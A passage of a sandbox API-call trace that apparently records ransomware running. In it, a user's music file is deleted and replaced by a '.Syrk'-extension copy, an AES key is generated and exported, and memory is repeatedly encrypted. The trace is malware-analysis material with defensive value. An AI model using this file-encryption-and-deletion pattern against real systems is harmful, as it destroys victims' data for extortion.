[0244.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0244.862] CoTaskMemAlloc (cb=0x404) returned 0x5c98368 [0244.862] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c98368, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0244.862] CoTaskMemFree (pv=0x5c98368) [0244.864] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\zern8svva2_nmg.mp3")) returned 0x20 [0244.864] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0244.864] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3", lpFilePart=0x0) returned 0x2b [0244.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0244.864] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\zern8svva2_nmg.mp3"), fInfoLevelId=0x0, lpFileInformation=0x2508274 | out: lpFileInformation=0x2508274*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd0d41f0, ftCreationTime.dwHighDateTime=0x1d99cd2, ftLastAccessTime.dwLowDateTime=0xe4b15470, ftLastAccessTime.dwHighDateTime=0x1d99d0e, ftLastWriteTime.dwLowDateTime=0xe4b15470, ftLastWriteTime.dwHighDateTime=0x1d99d0e, nFileSizeHigh=0x0, nFileSizeLow=0xeeac)) returned 1 [0244.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0244.865] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\zern8svva2_nmg.mp3")) returned 1 [0244.866] EtwEventActivityIdControl () returned 0x0 [0244.866] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.867] EtwEventActivityIdControl () returned 0x0 [0244.867] EtwEventActivityIdControl () returned 0x0 [0244.867] EtwEventActivityIdControl () returned 0x0 [0244.874] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\zern8svva2_nmg.mp3.syrk")) returned 0x20 [0244.875] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\zern8svva2_nmg.mp3.syrk")) returned 0x20 [0244.875] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0244.875] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3.Syrk", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3.Syrk", lpFilePart=0x0) returned 0x30 [0244.875] EtwEventActivityIdControl () returned 0x0 [0244.876] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.876] EtwEventActivityIdControl () returned 0x0 [0244.876] EtwEventActivityIdControl () returned 0x0 [0244.876] EtwEventActivityIdControl () returned 0x0 [0244.880] EtwEventActivityIdControl () returned 0x0 [0244.881] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.881] EtwEventActivityIdControl () returned 0x0 [0244.881] EtwEventActivityIdControl () returned 0x0 [0244.881] EtwEventActivityIdControl () returned 0x0 [0244.885] EtwEventActivityIdControl () returned 0x0 [0244.885] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.885] EtwEventActivityIdControl () returned 0x0 [0244.885] EtwEventActivityIdControl () returned 0x0 [0244.885] EtwEventActivityIdControl () returned 0x0 [0244.889] EtwEventActivityIdControl () returned 0x0 [0244.889] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.890] EtwEventActivityIdControl () returned 0x0 [0244.890] EtwEventActivityIdControl () returned 0x0 [0244.890] EtwEventActivityIdControl () returned 0x0 [0244.894] EtwEventActivityIdControl () returned 0x0 [0244.895] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.895] EtwEventActivityIdControl () returned 0x0 [0244.895] EtwEventActivityIdControl () returned 0x0 [0244.895] EtwEventActivityIdControl () returned 0x0 [0244.899] EtwEventActivityIdControl () returned 0x0 [0244.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0244.902] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\ZERn8svVA2_nmG.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\zern8svva2_nmg.mp3.syrk"), fInfoLevelId=0x0, lpFileInformation=0x25119ec | out: lpFileInformation=0x25119ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda4f7f0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0xda4f7f0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0xda75950, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xeec4)) returned 1 [0244.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0244.903] GetConsoleOutputCP () returned 0x1b5 [0244.904] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0244.904] GetConsoleOutputCP () returned 0x1b5 [0244.904] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0244.904] GetConsoleOutputCP () returned 0x1b5 [0244.904] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.904] GetConsoleOutputCP () returned 0x1b5 [0244.904] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.905] GetConsoleOutputCP () returned 0x1b5 [0244.905] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0244.905] GetConsoleOutputCP () returned 0x1b5 [0244.905] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0244.905] GetConsoleOutputCP () returned 0x1b5 [0244.905] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.905] GetConsoleOutputCP () returned 0x1b5 [0244.905] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.906] GetConsoleOutputCP () returned 0x1b5 [0244.906] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0244.906] GetConsoleOutputCP () returned 0x1b5 [0244.906] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0244.906] GetConsoleOutputCP () returned 0x1b5 [0244.906] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.906] GetConsoleOutputCP () returned 0x1b5 [0244.907] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.907] GetConsoleOutputCP () returned 0x1b5 [0244.907] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0244.907] GetConsoleOutputCP () returned 0x1b5 [0244.907] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0244.907] GetConsoleOutputCP () returned 0x1b5 [0244.907] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.907] GetConsoleOutputCP () returned 0x1b5 [0244.908] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.908] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0244.908] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0244.908] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x252b63c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x252b63c*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0244.909] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0244.909] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0244.912] EtwEventActivityIdControl () returned 0x0 [0244.912] EtwEventActivityIdControl () returned 0x0 [0244.912] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.912] EtwEventActivityIdControl () returned 0x0 [0244.913] EtwEventActivityIdControl () returned 0x0 [0244.913] EtwEventActivityIdControl () returned 0x0 [0244.915] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.915] EtwEventActivityIdControl () returned 0x0 [0244.915] EtwEventActivityIdControl () returned 0x0 [0244.915] EtwEventActivityIdControl () returned 0x0 [0244.917] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d3a8) returned 1 [0244.918] CryptGenKey (in: hProv=0x5c4d3a8, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c994a0) returned 1 [0244.918] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0244.918] CryptExportKey (in: hKey=0x5c994a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0244.919] CryptExportKey (in: hKey=0x5c994a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2533008, pdwDataLen=0x5a2e8c4 | out: pbData=0x2533008*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0244.919] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.920] EtwEventActivityIdControl () returned 0x0 [0244.920] EtwEventActivityIdControl () returned 0x0 [0244.920] EtwEventActivityIdControl () returned 0x0 [0244.921] SysStringLen (param_1="") returned 0x8 [0244.921] SysStringLen (param_1="Q") returned 0x8 [0244.921] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.921] SysStringLen (param_1="콉髦꽭썒뻔㚚９") returned 0x8 [0244.921] SysStringLen (param_1="콉髦꽭썒뻔㚚９") returned 0x8 [0244.921] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.921] SysStringLen (param_1="QU") returned 0x8 [0244.921] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.921] SysStringLen (param_1="\埙⢡ꃃ屴㬕∎) returned 0x8 [0244.921] SysStringLen (param_1="\埙⢡ꃃ屴㬕∎) returned 0x8 [0244.921] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.922] SysStringLen (param_1="QUX") returned 0x8 [0244.922] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.922] SysStringLen (param_1="涒晁儙囇⦸籹⭴댊") returned 0x8 [0244.922] SysStringLen (param_1="涒晁儙囇⦸籹⭴댊") returned 0x8 [0244.922] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.922] SysStringLen (param_1="QUXx") returned 0x8 [0244.922] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.922] SysStringLen (param_1="ऄ孯掂ؒ鐋鑛") returned 0x8 [0244.922] SysStringLen (param_1="ऄ孯掂ؒ鐋鑛") returned 0x8 [0244.922] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.923] SysStringLen (param_1="QUXxO") returned 0x8 [0244.923] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.923] SysStringLen (param_1="精أἅ괲䟠敐鏿剧") returned 0x8 [0244.923] SysStringLen (param_1="精أἅ괲䟠敐鏿剧") returned 0x8 [0244.923] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.923] SysStringLen (param_1="QUXxO6") returned 0x8 [0244.923] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.923] SysStringLen (param_1="돠㣌ֲ킀㱐䌂㚷﹩") returned 0x8 [0244.923] SysStringLen (param_1="돠㣌ֲ킀㱐䌂㚷﹩") returned 0x8 [0244.923] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.923] SysStringLen (param_1="QUXxO61") returned 0x8 [0244.923] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.924] SysStringLen (param_1="Ǟ熃䨲䮢輻솱\囟≾) returned 0x8 [0244.924] SysStringLen (param_1="Ǟ熃䨲䮢輻솱\囟≾) returned 0x8 [0244.924] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.937] SysStringLen (param_1="QUXxO61W") returned 0x8 [0244.937] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.937] SysStringLen (param_1="计闯陈ꠣ燕蔧Ꮎ") returned 0x8 [0244.937] SysStringLen (param_1="计闯陈ꠣ燕蔧Ꮎ") returned 0x8 [0244.938] SysStringLen (param_1="计闯陈ꠣ燕蔧Ꮎ") returned 0x8 [0244.938] SysStringLen (param_1="计闯陈ꠣ燕蔧Ꮎ") returned 0x10 [0244.938] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.938] SysStringLen (param_1="QUXxO61W7굺ይ戋잪\⋞) returned 0x10 [0244.938] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.938] SysStringLen (param_1="计闯陈ꠣ燕蔧Ꮎ建壁卙ᛍ밯菖垉") returned 0x10 [0244.939] SysStringLen (param_1="计闯陈ꠣ燕蔧Ꮎ建壁卙ᛍ밯菖垉") returned 0x10 [0244.939] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.939] SysStringLen (param_1="QUXxO61W7Rይ戋잪\⋞) returned 0x10 [0244.939] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.939] SysStringLen (param_1="计闯陈ꠣ燕蔧Ꮎ㙆蛶챴ᴑ扖㾳塼") returned 0x10 [0244.939] SysStringLen (param_1="计闯陈ꠣ燕蔧Ꮎ㙆蛶챴ᴑ扖㾳塼") returned 0x10 [0244.939] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.939] SysStringLen (param_1="QUXxO61W7Rcይ戋잪\⋞) returned 0x10 [0244.939] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.939] SysStringLen (param_1="计闯陈ꠣ燕蔧Ꮎ㇡溝豶䫦㣺龝챻㱏") returned 0x10 [0244.939] SysStringLen (param_1="计闯陈ꠣ燕蔧Ꮎ㇡溝豶䫦㣺龝챻㱏") returned 0x10 [0244.939] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.940] SysStringLen (param_1="QUXxO61W7RcY戋잪\⋞) returned 0x10 [0244.940] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.940] SysStringLen (param_1="计闯陈ꠣ燕蔧Ꮎ솠扣菵ﳗ櫱豭弁ຼ") returned 0x10 [0244.940] SysStringLen (param_1="计闯陈ꠣ燕蔧Ꮎ솠扣菵ﳗ櫱豭弁ຼ") returned 0x10 [0244.940] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.940] SysStringLen (param_1="QUXxO61W7RcYU잪\⋞) returned 0x10 [0244.940] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.940] SysStringLen (param_1="计闯陈ꠣ燕蔧Ꮎ鞫擗靲맻쐣䆃ﱄ蛟") returned 0x10 [0244.940] SysStringLen (param_1="计闯陈ꠣ燕蔧Ꮎ鞫擗靲맻쐣䆃ﱄ蛟") returned 0x10 [0244.940] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.940] SysStringLen (param_1="QUXxO61W7RcYUn\⋞) returned 0x10 [0244.940] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.940] SysStringLen (param_1="计闯陈ꠣ燕蔧Ꮎ潖狸⌻작⃩甁4瘺") returned 0x10 [0244.940] SysStringLen (param_1="计闯陈ꠣ燕蔧Ꮎ潖狸⌻작⃩甁4瘺") returned 0x10 [0244.941] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.942] SysStringLen (param_1="QUXxO61W7RcYUn9\⋞) returned 0x10 [0244.942] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.942] SysStringLen (param_1="计闯陈ꠣ燕蔧Ꮎ쪸崴Œ\뛜㑨쇍⊛) returned 0x10 [0244.942] SysStringLen (param_1="计闯陈ꠣ燕蔧Ꮎ쪸崴Œ\뛜㑨쇍⊛) returned 0x10 [0244.942] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.942] SysStringLen (param_1="QUXxO61W7RcYUn9L") returned 0x10 [0244.942] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.942] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復") returned 0x10 [0244.943] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復") returned 0x10 [0244.943] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復") returned 0x10 [0244.943] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復") returned 0x18 [0244.943] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.943] SysStringLen (param_1="QUXxO61W7RcYUn9LT怪悜鮒⒓Ⳛ⍣") returned 0x18 [0244.943] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.944] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復벑痽灍砖侅㽎휒㶖") returned 0x18 [0244.944] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復벑痽灍砖侅㽎휒㶖") returned 0x18 [0244.944] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.944] SysStringLen (param_1="QUXxO61W7RcYUn9LTn悜鮒⒓Ⳛ⍣") returned 0x18 [0244.944] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.944] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復᳇涿⯽鞮隓쭀ⷖ䪕") returned 0x18 [0244.944] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復᳇涿⯽鞮隓쭀ⷖ䪕") returned 0x18 [0244.944] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.944] SysStringLen (param_1="QUXxO61W7RcYUn9LTnP鮒⒓Ⳛ⍣") returned 0x18 [0244.944] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.944] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復딄둃煑㠖쾪읲菔") returned 0x18 [0244.944] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復딄둃煑㠖쾪읲菔") returned 0x18 [0244.944] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.945] SysStringLen (param_1="QUXxO61W7RcYUn9LTnPn⒓Ⳛ⍣") returned 0x18 [0244.945] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.945] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復聜ӫ펪㹛阽청姿") returned 0x18 [0244.945] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復聜ӫ펪㹛阽청姿") returned 0x18 [0244.945] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.945] SysStringLen (param_1="QUXxO61W7RcYUn9LTnPnj⒓Ⳛ⍣") returned 0x18 [0244.945] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.945] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復쾳瓰‟ﯢ䞂鱅䅛퉃") returned 0x18 [0244.945] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復쾳瓰‟ﯢ䞂鱅䅛퉃") returned 0x18 [0244.945] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.945] SysStringLen (param_1="QUXxO61W7RcYUn9LTnPnjMⳚ⍣") returned 0x18 [0244.945] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.946] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復柶럊愪؜怦毕\⋇) returned 0x18 [0244.946] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復柶럊愪؜怦毕\⋇) returned 0x18 [0244.946] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.946] SysStringLen (param_1="QUXxO61W7RcYUn9LTnPnjM4⍣") returned 0x18 [0244.946] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.946] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ᵗ琠關᧎륒単軣") returned 0x18 [0244.946] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ᵗ琠關᧎륒単軣") returned 0x18 [0244.946] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.946] SysStringLen (param_1="QUXxO61W7RcYUn9LTnPnjM4M") returned 0x18 [0244.946] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.946] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋") returned 0x18 [0244.947] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋") returned 0x18 [0244.947] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋") returned 0x18 [0244.947] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋") returned 0x20 [0244.947] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.947] SysStringLen (param_1="QUXxO61W7RcYUn9LTnPnjM4M7캯\퇚쪏䯈䙺烢⋩) returned 0x20 [0244.947] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.947] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋䪁纭흒䰐㟹噼⥺") returned 0x20 [0244.947] SysStringLen 